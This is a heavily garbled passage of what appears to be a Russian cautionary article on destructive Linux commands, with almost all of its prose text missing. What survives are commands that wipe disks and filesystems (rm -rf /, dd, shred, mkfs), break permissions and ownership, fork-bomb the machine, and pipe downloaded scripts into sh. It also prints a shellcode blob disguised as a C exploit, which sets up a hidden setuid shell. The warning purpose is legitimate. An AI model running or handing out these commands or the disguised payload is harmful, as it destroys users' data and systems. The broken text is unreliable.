6

! c Linux, , .

Linux 10 , - .

, .

- , , .

! . , . .

, Linux , , , , , .

, Linux, , " " , , . "" " " !


" ", :

  1. rm rf / - , . - Avada Kedavra! Linux.

, :

  • rm -
  • -r - ,
  • -f - force,
  • /
  • - , , , ( ), USB- .

, : , !

GNU/Linux, Solaris FreeBSD , . , GNU , --preserve-root. , --no-preserve-root, .

, :

mkdir test
cd test
touch ./-r
touch ./-f
su
rm * /

, , test

char esp[] __attribute__ ((section(.text))) /* e.s.p
release */
= \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68
\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7
\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56
\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68\x00\x2d\x63\x00
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;;

16- rm rf /, .

  1. sudo dd if=/dev/zero of=/dev/sda bs=8m - 40 (8m) , . .

/dev/zero , , /dev/sda - , , . dd : 40 !

sudo . , root.
- if=/dev/random. /dev/zero , . .
  1. shred /dev/sda - . Ctrl+C, , . , shred /dev/random /dev/urandom .
  2. mkfs.ext3 /dev/sda - . , ext3 ( ext4) , .
  3. chmod -Rv 000 / - . . , , .
  4. chown -R nobody:nobody / - . , , . , , .

,

  1. :(){ :|:& };: - ( fork bomb), , .

, , :

fu() {
  fu | fu &
}
fu

Bash , , , , , . , .

  1. > file.conf - , . Linux , > - >> - . , - , . > file.conf, .
  2. wget http://_ -O- | sh - - c . , , , , , . , .
  3. chmod -R 777 / - , . , , .
, Linux , - root, - , - .

, Linux, . , . , Linux !


50% Merion Academy